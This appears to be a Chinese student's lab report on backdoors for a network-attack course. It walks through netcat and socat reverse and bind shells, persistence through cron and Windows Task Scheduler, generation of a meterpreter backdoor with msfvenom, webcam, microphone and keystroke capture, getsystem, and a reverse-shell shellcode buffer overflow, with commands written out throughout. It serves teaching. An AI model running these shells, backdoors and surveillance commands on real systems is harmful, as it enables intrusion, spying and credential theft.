2019-2020-2 20175216《网络对抗技术》 Exp2 后门原理与实践

2019-2020-2 20175216《网络对抗技术》 Exp2 后门原理与实践

实验准备

1、netcat的学习

  • netcat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
  • Linux中一般自带ncat,可以使用man netcatman nc可查看其使用说明
windows 获取 linux 的shell
  • 在Windows下使用ipconfig查看本机IP为192.168.2.130win ipconfig.PNG

  • 在Windows使用ncat.exe程序监听本机的5216端口ncat.exe -l -p 5216
    win监听.PNG

  • 在 linux 中反弹连接Windows,nc 192.168.2.130 5216 -e /bin/sh,使用-e选项执行shell程序
    监听win5216.PNG

  • Windows成功获得 linux 的shell
    改进.PNG

linux 获取 winsdows 的shell
  • linux下查看使用ip addrIP地址192.168.170.142
    ip addr.PNG

  • 在linux端使用nc -l -p 5216指令监听5216端口
    linux监听.PNG

  • 在Windows下,使用ncat.exe -e cmd.exe 192.168.170.142 5216指令反向连接 linux 主机的5216端口
    win链接.PNG

  • linux 成功看到Windows的命令提示,使用dir查看D:20175216zxy cat文件目录
    linux成功获取shell.PNG

使用nc传输数据
  • Windows下使用ncat.exe -l 5216指令监听5216端口

  • linux 使用nc 192.168.2.130 5216指令反弹连接到Windows的5215端口
    聊天.PNG

nc传输文件
  • linux 向Windows中传输文件
  • Windows中通过ncat.exe -l 5216> 20175216.txt 监听5216 端口
  • linux 反弹连接Windows的5216 端口nc 192.168.2.130 5216 < zxy.txt,Windows可以收到 linux 发来的文件
    kali win.PNG
  • Windows向 linux 发送文件
  • kali中通过nc -l -p 5216 > 20175216.txt监听5216 端口
  • Windows反弹连接linux的5216端口ncat.exe 192.168.170.142 5216 < zxy.txt, linux 可以收到Windows发来的文件
    win kali.PNG

2、socat的学习

  • socat是ncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options是可选项。
  • socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

实验过程

1、使用netcat获取主机操作Shell,cron启动

  • windows使用ncat.exe -l -p 5216监听5216端口
    1-win监听.PNG
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。详细说明可man cron
  • crontab指令增加一条定时任务,-e表示编辑。在最后一行添加45 * * * * /bin/netcat 192.168.2.130 5216 -e /bin/sh每个时间段的第45分钟反向连接Windows主机的5216端口
    45.PNG
  • 时间到了10:45,此时已获得了Kali的shell,使用ls查看目录
    ok.PNG

2、使用socat获取主机操作Shell, 任务计划启动

  • 右键windows ,找到计算机管理 ,在系统工具找到任务计划程序,创建任务
    2-计算机管理.PNG

  • 常规中填写任务名称为exp,点击触发器然后 新建触发器,我选择工作站锁定时然后点击确定。
    2-2.PNG

  • 操作中,导入你所下载解压后的socat.exe的路径,在添加参数中填入tcp-listen:5216 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口5216,同时把cmd.exestderr重定向到stdout上),创建完成之后,点击确定。
    2-3.PNG

  • 先锁定计算机,然后重新进入计算机,socat就会启动
    2启动.PNG

2-4.PNG

  • 在kali中输入socat - tcp:192.168.2.130:5216(-代表标准的输入输出,第二个流连接到Windows主机的5216端口,IP为windows的IP),成功获得cmd shell
    2-6.PNG

3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.170.142 LPORT=5216 -f exe > 20175216_backdoor.exe(IP为kali的IP)生成后门程序20175216_backdoor.exe
    3-1.PNG
  • 在Windows中使用ncat.exe -lv 5216 > 20175216_backdoor.exe查看连接状态
    3-2.PNG
  • kali中输入nc 192.168.2.130 5216 < 20175216_backdoor.exe(此处的IP为Windows的IP)将生成的后门程序传送到Windows主机,传输成功。
    3-3.PNG

就.PNG

  • 在linux中另外打开一个终端,msfconsole进入控制台
  • 输入use exploit/multi/handler使用监听模块,设置payload
  • 使用和生成后门程序时相同的payload:set payload windows/meterpreter/reverse_tcp
  • set LHOST 192.168.170.142此处为kali的IP(和生成后门程序时指定的IP相同)
  • 端口号也相同:set LPORT 5216
  • 设置完成后,exploit开始监听
    啊1.PNG
  • kali获得Windows主机的连接,并且得到了远程控制的shell
    啊2.PNG

4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  • 截取音频:record_mic
    啊3.PNG
  • 获取摄像头拍照:webcam_snap

啊4.PNG

  • 截屏:screenshot
    啊5.PNG
  • 记录击键的过程:keyscan_start读取击键的记录:keyscan_dump
    啊6.PNG
  • 查看当前用户:getuid ,提取权限:getsystem
    啊7.PNG

加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80
  • 关闭地址随机化
execstack -s 20175216pwn    //设置堆栈可执行
execstack -q 20175216pwn   //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space   //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space  //关闭地址随机化

额外1.PNG

  • 同实验一,启用gdb调试进程,attach 2087与进程建立连接
  • 输入指令 disassemble foofoo函数进行反汇编。
  • 然后设置断点,来查看注入buf的内存地址。指令为:break *0x080484ae
  • 然后回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。
  • 接下来输入指令 info r esp 查看查看栈顶指针所在的位置,并查看改地址存放的数据
  • 发现x4x3x2x1果然出现在栈顶,就是返回地址的位置。shellcode就挨着,所以地址是0xffffd31c+4=0xffffd320
    难受呀.PNG
    好的.PNG
  • 将反弹连接Shellcode放入,生成shellcodeinput文件
perl -e 'print "A" x 32;print"x20xd3xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > shellcodeinput
  • 在新终端b中启动msfconsole
use exploit/multi/handler     //用于设置payload
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1              //设置IP为回环地址
set LPORT 4444        //根据代码设置端口
exploit   //设置完成开始监听
  • 另一个终端(cat shellcodeinput;cat) | ./20175216pwn,成功获得shell

成功.PNG

实验总结

实验过程中遇到的问题

  • 在Windows里运行后门文件20175216_backdoor.exe之后,但是在kali中收不到连接
    问题.PNG
  • 解决方法:IP地址、端口号都没有问题,防火墙、杀毒软件都已关闭,重启虚拟机也不行,最后重启电脑它行了。真的,重启能解决百分之九十的问题,剩下百分之十的问题还是重装系统吧。

基础问题回答

  • 例举你能想到的一个后门进入到你系统中的可能方式?
    在网页版下载软件的安装包,下载盗版软件,自己的手机因为没电连接别人电脑进行充电
  • 例举你知道的后门如何启动起来(win及linux)的方式?
    linux通过修改linux的cron程序和注入shellcode开启后门
    windows通过木马启动后门
  • Meterpreter有哪些给你映像深刻的功能?
    通过后门进行截屏、开启摄像头、录音获取信息
  • 如何发现自己有系统有没有被安装后门?
    开启windows defender,查看注册表信息,杀毒软件杀毒

实验体会

通过这次实验,我了解了很多关于后门的知识,想想我去年十一月份手机没电了,用一个学长的电脑充电,然后我手机里的信息他通过远程控制看到了,幸亏和那个学长认识,不然信息流到坏人手里,后果不堪设想。打铁还需自身硬,在实验中,我们也只是学到的后门只是冰山一角,以后只有通过不断学习,不断思考,提高自己安全意识,才能降低被攻击的风险。

原文地址:https://www.cnblogs.com/besti20175216/p/12498721.html